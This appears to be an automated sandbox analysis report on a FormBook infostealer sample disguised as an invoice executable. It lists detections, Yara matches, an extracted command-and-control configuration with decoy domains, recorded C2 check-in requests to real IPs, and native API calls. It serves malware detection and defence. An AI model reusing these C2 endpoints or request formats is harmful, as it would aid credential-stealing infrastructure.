Analysis Report INV74321.exe

AV Detection:

Found malware configuration

Source: 00000000.00000002.223286831.00000000029A0000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.nobleandmarble.com/or4i/"], "decoy": ["cylindberg.com", "qsmpy.world", "hairmaxxclinic.com", "teesfitpro.com", "changethecompany.net", "painteredmond.com", "shebagholdings.com", "wasteexport.com", "salesclerkadage.life", "rainboxs.com", "lingoblasterdiscount.com", "booweats.com", "topcasino-111.com", "downtoearthwork.com", "carry-hai.com", "nassaustreetcorp.com", "directflence.com", "basictrainningphothos.com", "virtualayurveda.com", "dar-sanidad.com", "businessenglish.company", "safegrinder.com", "blissfulyogamullicahill.com", "smartmatch-dating-api.com", "heaset.com", "fingerpointingimp.com", "rogersbeefarm.com", "guysgunsandcountry.com", "attackbit.com", "bawalturki.com", "goodmanifest.com", "healshameyoga.com", "citiphoneonline.com", "canaltransportllc.com", "theflagdude.com", "mmgenius.com", "ikeberto.com", "sky-cargo.net", "tecquestrian.com", "ashleylovica.com", "contorig2.com", "nowhealthdays.com", "dadaoliangpi.com", "three.guide", "anoussa.com", "fanyingfu001.com", "matthewdimartino.com", "ventadearticulosreligiosos.com", "collegesupermatch.com", "king-jackpot.com", "puppillows.store", "woodforsmoke.com", "globaltradesclub.com", "flipkart-max-sale.xyz", "carlyle-cocao.com", "cuntrera.com", "sadafalbahariq.com", "spmomgoals.com", "mk-365.com", "yanghuoquan.com", "xn--espacesacr-k7a.com", "pidelodirecto.com", "0o-a-8v4l76.net", "aqayeseo.com"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\nsi6113.tmp\q7pl.dll	Metadefender: Detection: 26%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\nsi6113.tmp\q7pl.dll	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: INV74321.exe	Virustotal: Detection: 30%			Perma Link
Source: INV74321.exe	Metadefender: Detection: 14%			Perma Link
Source: INV74321.exe	ReversingLabs: Detection: 72%

Yara detected FormBook

Source: Yara match	File source: 00000000.00000002.223286831.00000000029A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257156250.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.473119363.00000000035D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257388268.00000000009D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.472051728.00000000030B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257352957.00000000009A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.473219825.0000000003600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.215550153.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 1.1.INV74321.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV74321.exe.29a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV74321.exe.29a0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.INV74321.exe.400000.0.unpack, type: UNPACKEDPE

Antivirus or Machine Learning detection for unpacked file

Source: 1.1.INV74321.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 0.2.INV74321.exe.29a0000.4.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.2.INV74321.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

Uses 32bit PE files

Source: INV74321.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: INV74321.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Source:	Binary string: MusNotifyIcon.pdb source: explorer.exe, 00000005.00000000.244743152.000000000F686000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: INV74321.exe, 00000000.00000003.214730841.0000000002B90000.00000004.00000001.sdmp, INV74321.exe, 00000001.00000002.257577232.0000000000BCF000.00000040.00000001.sdmp, wlanext.exe, 00000008.00000002.474058438.000000000383F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: INV74321.exe, wlanext.exe
Source:	Binary string: wlanext.pdb source: INV74321.exe, 00000001.00000002.257445495.0000000000A50000.00000040.00000001.sdmp
Source:	Binary string: MusNotifyIcon.pdbGCTL source: explorer.exe, 00000005.00000000.244743152.000000000F686000.00000004.00000001.sdmp
Source:	Binary string: wlanext.pdbGCTL source: INV74321.exe, 00000001.00000002.257445495.0000000000A50000.00000040.00000001.sdmp

Spreading:

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_0040646B FindFirstFileA,FindClose,		0_2_0040646B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_004058BF GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,		0_2_004058BF
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_004027A1 FindFirstFileA,		0_2_004027A1

Software Vulnerabilities:

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\Users\user\Desktop\INV74321.exe	Code function: 4x nop then pop ebx		1_2_00406A95
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 4x nop then pop ebx		1_1_00406A95
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 4x nop then pop ebx		8_2_030B6A95

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49727 -> 119.18.54.126:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49727 -> 119.18.54.126:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49727 -> 119.18.54.126:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49733 -> 163.43.122.109:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49733 -> 163.43.122.109:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49733 -> 163.43.122.109:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49734 -> 104.21.46.55:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49734 -> 104.21.46.55:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49734 -> 104.21.46.55:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49738 -> 64.190.62.111:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49738 -> 64.190.62.111:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49738 -> 64.190.62.111:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49741 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49741 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49741 -> 34.102.136.180:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.nobleandmarble.com/or4i/

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /or4i/?iN6=xDS7CyCJ4m7HrOhyeYRIonE7yEohNWwwbSjxvOh7bSQREc8K1tWvWT2hFG1Cb6Pxbdkw&KdTL=a2JxONfH HTTP/1.1Host: www.king-jackpot.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?KdTL=a2JxONfH&iN6=/YqV2YobZFGxQDMEPRH3FzX3sp56PIzy9ik5N6g8OdLGQC9Q4dIJ/Xm93vftNToRdJfn HTTP/1.1Host: www.0o-a-8v4l76.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?iN6=vk1T1/Otk3yMmnVlXkpxnnLL8r3GDGLc1I2gV0bP1VjWwuz1bkf/wMDaHcJA224PqQY0&KdTL=a2JxONfH HTTP/1.1Host: www.downtoearthwork.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?iN6=3f8HQQz9URnG4Uu+PIIk9qulCbedODjEyUaPCq0CAbkTamHv8kfsRb46QNyKsrnaM2YM&KdTL=a2JxONfH HTTP/1.1Host: www.topcasino-111.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?KdTL=a2JxONfH&iN6=JH4nS7VeW/UW/jbaFlzhauiIX/+RMeGdEmcv+8JYSHoft+e37yOEU8VwtY3nHc6WUP+N HTTP/1.1Host: www.shebagholdings.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?iN6=qot6XnlSyPOFXuVGORD9CEtZEU4GG3KqT75/dB/Qk/mHCfMLKHKtxcGvS1QijbP8ODf8&KdTL=a2JxONfH HTTP/1.1Host: www.booweats.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?KdTL=a2JxONfH&iN6=aXFVbdpXZKuOxG6QcVTci15xYCj/Qxdw9P9YBGKWWpBj56F6fv1TkawGdiCQA9RepvWh HTTP/1.1Host: www.xn--espacesacr-k7a.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 64.190.62.111 64.190.62.111

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK
Source: Joe Sandbox View	ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS
Source: Joe Sandbox View	ASN Name: NBS11696US NBS11696US

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /or4i/?iN6=xDS7CyCJ4m7HrOhyeYRIonE7yEohNWwwbSjxvOh7bSQREc8K1tWvWT2hFG1Cb6Pxbdkw&KdTL=a2JxONfH HTTP/1.1Host: www.king-jackpot.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?KdTL=a2JxONfH&iN6=/YqV2YobZFGxQDMEPRH3FzX3sp56PIzy9ik5N6g8OdLGQC9Q4dIJ/Xm93vftNToRdJfn HTTP/1.1Host: www.0o-a-8v4l76.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?iN6=vk1T1/Otk3yMmnVlXkpxnnLL8r3GDGLc1I2gV0bP1VjWwuz1bkf/wMDaHcJA224PqQY0&KdTL=a2JxONfH HTTP/1.1Host: www.downtoearthwork.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?iN6=3f8HQQz9URnG4Uu+PIIk9qulCbedODjEyUaPCq0CAbkTamHv8kfsRb46QNyKsrnaM2YM&KdTL=a2JxONfH HTTP/1.1Host: www.topcasino-111.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?KdTL=a2JxONfH&iN6=JH4nS7VeW/UW/jbaFlzhauiIX/+RMeGdEmcv+8JYSHoft+e37yOEU8VwtY3nHc6WUP+N HTTP/1.1Host: www.shebagholdings.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?iN6=qot6XnlSyPOFXuVGORD9CEtZEU4GG3KqT75/dB/Qk/mHCfMLKHKtxcGvS1QijbP8ODf8&KdTL=a2JxONfH HTTP/1.1Host: www.booweats.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /or4i/?KdTL=a2JxONfH&iN6=aXFVbdpXZKuOxG6QcVTci15xYCj/Qxdw9P9YBGKWWpBj56F6fv1TkawGdiCQA9RepvWh HTTP/1.1Host: www.xn--espacesacr-k7a.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: www.aqayeseo.com

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 12 May 2021 05:36:25 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Wed, 24 Feb 2021 17:47:31 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 5f 73 6b 7a 5f 70 69 64 20 3d 20 22 39 50 4f 42 45 58 38 30 57 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6a 73 69 6e 69 74 2e 64 69 72 65 63 74 66 77 64 2e 63 6f 6d 2f 73 6b 2d 6a 73 70 61 72 6b 5f 69 6e 69 74 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 69 64 3d 22 73 6b 2d 6c 6f 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>

URLs found in memory or binary data

Source: explorer.exe, 00000005.00000000.244675991.000000000F640000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: INV74321.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: INV74321.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000005.00000000.243006407.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: wlanext.exe, 00000008.00000002.475299853.0000000003E62000.00000004.00000001.sdmp	String found in binary or memory: https://sedo.com/search/details/?partnerid=324561&language=it&domain=booweats.com&origin=sales_lande

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Source: C:\Users\user\Desktop\INV74321.exe

Code function: 0_2_0040535C GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040535C

E-Banking Fraud:

Yara detected FormBook

Source: Yara match	File source: 00000000.00000002.223286831.00000000029A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257156250.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.473119363.00000000035D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257388268.00000000009D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.472051728.00000000030B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257352957.00000000009A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.473219825.0000000003600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.215550153.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 1.1.INV74321.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV74321.exe.29a0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV74321.exe.29a0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.INV74321.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.223286831.00000000029A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.223286831.00000000029A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.257156250.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.257156250.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.473119363.00000000035D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.473119363.00000000035D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.257388268.00000000009D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.257388268.00000000009D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.472051728.00000000030B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.472051728.00000000030B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.257352957.00000000009A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.257352957.00000000009A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.473219825.0000000003600000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.473219825.0000000003600000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000001.215550153.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000001.215550153.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.INV74321.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.INV74321.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.INV74321.exe.29a0000.4.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.INV74321.exe.29a0000.4.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.INV74321.exe.29a0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.INV74321.exe.29a0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.INV74321.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.INV74321.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Contains functionality to call native functions

Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_004181C0 NtCreateFile,		1_2_004181C0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00418270 NtReadFile,		1_2_00418270
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_004182F0 NtClose,		1_2_004182F0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_004183A0 NtAllocateVirtualMemory,		1_2_004183A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_004181BA NtCreateFile,		1_2_004181BA
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0041826C NtReadFile,		1_2_0041826C
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_004182EA NtClose,		1_2_004182EA
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B198F0 NtReadVirtualMemory,LdrInitializeThunk,		1_2_00B198F0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19860 NtQuerySystemInformation,LdrInitializeThunk,		1_2_00B19860
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19840 NtDelayExecution,LdrInitializeThunk,		1_2_00B19840
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B199A0 NtCreateSection,LdrInitializeThunk,		1_2_00B199A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19910 NtAdjustPrivilegesToken,LdrInitializeThunk,		1_2_00B19910
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19A20 NtResumeThread,LdrInitializeThunk,		1_2_00B19A20
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19A00 NtProtectVirtualMemory,LdrInitializeThunk,		1_2_00B19A00
